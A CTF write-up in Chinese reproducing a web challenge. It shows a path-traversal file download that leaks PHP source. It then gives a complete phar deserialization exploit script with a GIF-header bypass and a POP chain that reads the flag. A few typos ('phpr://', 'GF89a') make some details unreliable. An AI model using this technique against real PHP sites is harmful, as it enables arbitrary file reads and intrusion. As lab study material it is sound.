CTF ciscn_2019_web_northern_china_day1_web1复现
ciscn_2019_web_northern_china_day1_web1
复现,环境源于CTFTraining
分析
拿到题目扫描,发现没有什么有用资产
扫描过程中注册账号登录,发现上传入口
上传文件,发现下载删除行为,寻找功能点,发现不能访问uploads(扫出来的
访问上传的文件会定位回index.php
下载,发现能下载,前端源码并没有可以攻击的点,抓包

filename可以控制,很明显的钩子
下载download.php,发现不能直接下载,开始穿越目录,到第二层时成功
源码
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
?>
下载class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>
还有index.php (但是好像没什么用
发现文件读取函数file_get_contents()所以我们肯定是需要用到这个File->close()来获得flag
注意:任意文件下载漏洞过滤了flag😞
先找利用链到 => file_get_contents()
Files中的results会被输出,在执行__call魔术方法时会把调用func的输出存储在result中- 为了调用
__call我们需要调用一个FileList没有的方法 User在销毁时会对成员db调用close
总结出POP链:User:db->__destruct:db:close->FileList:__call->File:__close->file_get_contents()
下一步,找到利用的方法
CTF中PHP的类的问题一般与序列化有关,查找相关资料,发现phar的反序列化攻击漏洞
https://paper.seebug.org/680/
https://xz.aliyun.com/t/2715?u_atoken=32c59ca9934f4d8f741fb56c6cd1090b&u_asig=0a47314717273488256545069e003d

关键点在于文件操作函数,伪协议未过滤
由于此问中没有unserial函数而uploads.php中调用了File->open函数,open函数调用了file_exits()

所以时可以利用phar反序列化 通过魔术方法攻击
还有一个点,怎么调用 ➡️ 传参时用phpr://执行
执行
<?php
/*参考公布的资料
* 这题没限制文件类型
*/
class User {public $db;
}class FileList {private $files;private $results;private $funcs;public function __construct() {$file = new File();$file->filename = '/flag.txt';$this->files = array($file);$this->results = array();$this->funcs = array();}
}class File {public $filename;
}ini_set('phar.readonly',0);@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
// 通过user -> filelist -> file:__destruct
$o = new User();
$o->db = new FileList();$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "ctftest"); //添加要压缩的文件
//签名自动计算$phar->stopBuffering();
?>
php exp.php 报错phar.readonly
kali上更改php.ini配置:
先查看php.ini文件的位置 php -r 'phpinfo();' (在前几行

sudo grep -n 'phar.readonly' /etc/php/8.1/cli/php.ini 确定行数
sudo vim /etc/php/8.1/cli/php.ini 修改;phar.readonly=On 为 phar.readonly=Off(分号是注释的意思
再执行,获得phar.phar 上传发现有个验证gif\jpeg,增加前缀修改后缀,上传,em。。。就很难绷

还有个功能点没看delete (用之前的任意文件下载
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {$file->detele();Header("Content-type: application/json");$response = array("success" => true, "error" => "");echo json_encode($response);
} else {Header("Content-type: application/json");$response = array("success" => false, "error" => "File not exist");echo json_encode($response);
}
?>
ok,传参filename,用伪协议把phar执行了,然后发现flag回显了

Final
所以为啥我upload传filename不行呢?
因为ini_set("open_basedir", getcwd() . ":/etc:/tmp"); phar执行时不能访问/uploads/phar.gif 😭
知识加一 ~
__call操作详解
-
array_push($this->funcs, $func);- 将传入的不存在的方法名
$func推入当前对象的$funcs数组中。这可能是为了记录所有被调用但实际上不存在的方法名称,以便后续处理或分析。
- 将传入的不存在的方法名
-
foreach ($this->files as $file)- 遍历当前对象的
$files属性,假设$files是一个包含多个对象的数组。
- 遍历当前对象的
-
$this->results[$file->name()][$func] = $file->$func();- 对于每个遍历到的
$file对象,获取其名称作为键,将不存在的方法名$func作为内层键,然后调用$file对象上的这个不存在的方法,并将返回值存储在$this->results数组中。
- 对于每个遍历到的
exp详解
-
ini_set('phar.readonly',0);- 这行代码将 PHP 的配置项
phar.readonly设置为0,表示允许创建和修改 Phar 文件。默认情况下,这个配置可能是设置为只读以提高安全性。
- 这行代码将 PHP 的配置项
-
@unlink("phar.phar");- 尝试删除名为
phar.phar的文件。使用@符号抑制可能出现的错误消息。这一步可能是为了确保在创建新的 Phar 文件时不会出现同名文件冲突。
- 尝试删除名为
-
$phar = new Phar("phar.phar"); //后缀名必须为 phar- 创建一个新的 Phar 对象,并指定文件名
phar.phar。Phar 文件是一种将多个文件和资源打包到一个单独文件中的归档格式,在 PHP 中可以方便地进行分发和部署。
- 创建一个新的 Phar 对象,并指定文件名
-
$phar->startBuffering();- 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用
stopBuffering()方法。
- 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用
-
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置 stub- 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的
__HALT_COMPILER();语句,它会停止 PHP 编译器的执行,通常用于确保 Phar 文件的完整性和安全性。 $phar->setStub("GF89a<?php __HALT_COMPILER();?>");//设置 GIF头绕过
- 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的
-
$o = new User();和$o->db = new FileList();- 创建一个
User对象,并为其属性db分配一个新的FileList对象。这可能是为了将自定义的对象作为元数据存储在 Phar 文件中。
- 创建一个
-
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest- 将前面创建的
$o对象作为元数据存储在 Phar 文件的 manifest 中。元数据可以包含关于 Phar 文件的各种信息,例如版本号、作者、依赖关系等。在这个例子中,自定义的User对象及其属性可能包含特定于应用程序的信息。
- 将前面创建的
-
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件- 向 Phar 文件中添加一个名为
exp.txt的文件,内容为"glzjin"。可以使用addFromString方法添加字符串内容作为文件,也可以使用其他方法添加实际的文件路径或资源。
- 向 Phar 文件中添加一个名为
-
$phar->stopBuffering();- 停止缓冲模式,并将缓冲中的内容写入 Phar 文件。这一步确保所有的操作都被保存到磁盘上的 Phar 文件中。
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);
ini_set("open_basedir", getcwd(). ":/etc:/tmp");ini_set()函数用于在运行时设置 PHP 配置项的值。在这里,它设置了open_basedir配置项。getcwd()函数返回当前工作目录的路径。这个路径与:/etc:/tmp一起组成了允许 PHP 脚本访问的文件系统路径列表。
设置open_basedir有以下几个主要作用:
- 增强安全性:通过限制 PHP 脚本只能访问特定的目录,可以防止恶意脚本访问敏感的系统文件或其他不应该被访问的区域。例如,防止脚本访问系统的关键配置文件或其他用户的文件。
- 提高稳定性:限制文件系统访问范围可以减少由于脚本错误或恶意行为导致的文件系统损坏或数据泄露的风险。
- 优化性能:在某些情况下,限制访问范围可以减少文件系统的搜索时间,提高脚本的执行效率。
Thanks to LLM : )
相关文章:
CTF ciscn_2019_web_northern_china_day1_web1复现
ciscn_2019_web_northern_china_day1_web1 复现,环境源于CTFTraining 分析 拿到题目扫描,发现没有什么有用资产 扫描过程中注册账号登录,发现上传入口 上传文件,发现下载删除行为,寻找功能点,发现不能访问…...
docker命令汇总
Docker 是一个开源的应用容器引擎,它允许开发者打包应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 以下是一些常用的 Docker 命令…...
云计算在现代企业中的应用与优势
云计算在现代企业中的应用与优势 随着信息技术的飞速发展,云计算已经成为现代企业不可或缺的一部分。作为一种创新的计算模式,云计算为企业提供了前所未有的灵活性和可扩展性,极大地推动了企业的数字化转型。 一、云计算的基本概念 云计算…...
Android平台GB28181实时回传流程和技术实现
规范解读 GB28181 中的 “INVITE” 是会话初始协议(SIP)中的一种请求方法,主要用于邀请一个或多个参与者加入特定的会话。在 GB28181 标准中,“INVITE” 请求通常用于发起媒体流的传输请求。当一个设备想要接收来自另一个设备的媒…...
Text-to-SQL方法研究
有关Text-to-SQL实现细节,可以查阅我的另一篇文章text-to-sql将自然语言转换为数据库查询语句 1、面临的挑战 自然语言问题往往包含复杂的语言结构,如嵌套语句、倒装句和省略等,很难准确映射到SQL查询上。此外,自然语言本身就存在歧义,一个问题可能有多种解读。消除…...
【Router】路由功能之MAC地址过滤(MAC Filter)功能介绍及实现
MAC地址过滤(MAC Filter) MAC 地址过滤是一种网络安全技术,通过在网络设备(如路由器)上设置规则,允许或阻止特定 MAC 地址的设备连接到网络。其主要作用是增强网络的安全性,防止未经授权的设备接入网络。 MAC Filter工作原理 MAC 地址过滤的工作原理是根据设备…...
Flink 本地 idea 调试开启 WebUI
Flink 本地 idea 调试开启 WebUI Maven 引用相关的包配置端口使用本地带UI环境启动 // maven 导入<!-- flink运行时的webUI --><dependency><groupId>org.apache.flink</groupId><artifactId>flink-runtime-web</artifactId><version…...
如何识别IP地址是独享的还是共享的
在网络环境中,IP地址的分配和使用方式直接影响到用户的在线隐私和访问安全。选择独享IP还是共享IP取决于用户的具体需求,理解这两种IP地址的差异及其特点至关重要。本文将探讨如何区分独享IP和共享IP,以及各自的优缺点。 1. 什么是独享IP与共…...
X-Spreadsheet使用教程:打造你的Web端电子表格应用
在Web开发中,经常需要处理数据表格的展示与编辑,而X-Spreadsheet作为一款轻量级、功能强大的JavaScript电子表格库,为开发者提供了一个便捷的解决方案。本文将详细介绍如何使用X-Spreadsheet在Web项目中创建和配置电子表格,让你的…...
订餐点餐|订餐系统基于java的订餐点餐系统小程序设计与实现(源码+数据库+文档)
订餐点餐系统小程序 目录 基于java的订餐点餐系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布…...
Tkinter制作登录界面以及登陆后页面切换(一)
Tkinter制作登录界面以及登陆后页面切换(一) 前言序言1. 由来2. 思路3. 项目结构描述4. 项目实战1. 登录界面实现(代码)2. 首页界面实现(代码)3. 打包build.py(与main.py同级目录)4.…...
Colorful/七彩虹将星X17 AT 23 英特尔13代处理器 Win11原厂OEM系统 带COLORFUL一键还原
安装完毕自带原厂驱动和预装软件以及一键恢复功能,自动重建COLORFUL RECOVERY功能,恢复到新机开箱状态。 【格式】:iso 【系统类型】:Windows11 原厂系统下载网址:http://www.bioxt.cn 注意:安装系统会…...
《Ubuntu20.04环境下的ROS进阶学习8》
一、中断和定时器中断 在ROS中我们经常会遇到要使用中断函数的情况,中断函数的触发方式有很多种,比如检测到某个引脚的电平变化,或某个数据达到了一定的范围,但最实用的中断触发方式还是定时器中断。 二、编写ROS的中断代码 ros中…...
ubuntu24.04 怎么调整swap分区的大小,调整为16G
在Ubuntu中,swap分区的大小通常建议为物理内存的1到2倍,具体取决于你的使用需求和系统内存。例如,如果你有8GB内存,swap可以设置为8GB到16GB。swap的主要作用是当物理内存不足时,提供额外的虚拟内存,帮助防…...
【论文阅读】视觉里程计攻击
Adversary is on the Road: Attacks on Visual SLAM using Unnoticeable Adversarial Patch 一、视觉SLAM的不安全因素 根据论文的分析,视觉SLAM由于完全依赖于特征,缺少验证机制导致算法不安全。前端在受到干扰的情况下,会导致误匹配增加&…...
解决 Git LFS 切换分支失败问题
场景描述 在本地已有分支 A 的情况下,目前工作在分支 B。当尝试从 B 分支切回 A 分支时,由于 A 分支存在 LFS 上传的大文件,导致切换失败。这个问题通常是因为某些 LFS 文件在服务器上不存在或没有权限访问。 报错日志 切换分支时遇到的错…...
BaoStock 的安装
安装 pip3 install baostock使用这个库登录免费帐户时有时候会出现登录失败的问题 import baostock as bs # 登录系统 lg bs.login() # 登出系统 bs.logout()login failed! logout failed!可能是由于高版本的python需要验证ssl,本地将其设置为可信服务器地址可以…...
聚势启新 智向未来 | 重庆华阳通用科技有限公司揭牌成立
助推两江新区汽车产业高质量发展 (以下文字内容转载自两江新区网) 9月26日,重庆华阳通用科技有限公司(华阳通用重庆子公司)在两江新区揭牌成立,将致力于智能座舱、智能驾驶两大领域,不断加大技术研发投入…...
【数据结构与算法】Z算法(扩展KMP)(C++和Python写法)
Z算法(扩展KMP) 文章目录 Z算法(扩展KMP)朴素求法线性求法力扣类型题变种题:[3303. 第一个几乎相等子字符串的下标](https://leetcode.cn/problems/find-the-occurrence-of-first-almost-equal-substring/) 所谓Z算法&…...
免费语音转文字软件全览:开启高效记录新时代
在当今快节奏的信息时代,高效地处理和记录信息变得至关重要。语音转文字技术的出现,为我们带来了极大的便利,今天,就让我们一同探讨这些语音转文字免费的软件的使用方法。 1.365在线转文字 链接直达:https://www.pdf…...
从WWDC看苹果产品发展的规律
WWDC 是苹果公司一年一度面向全球开发者的盛会,其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具,对过去十年 WWDC 主题演讲内容进行了系统化分析,形成了这份…...
HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
Typeerror: cannot read properties of undefined (reading ‘XXX‘)
最近需要在离线机器上运行软件,所以得把软件用docker打包起来,大部分功能都没问题,出了一个奇怪的事情。同样的代码,在本机上用vscode可以运行起来,但是打包之后在docker里出现了问题。使用的是dialog组件,…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...
【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
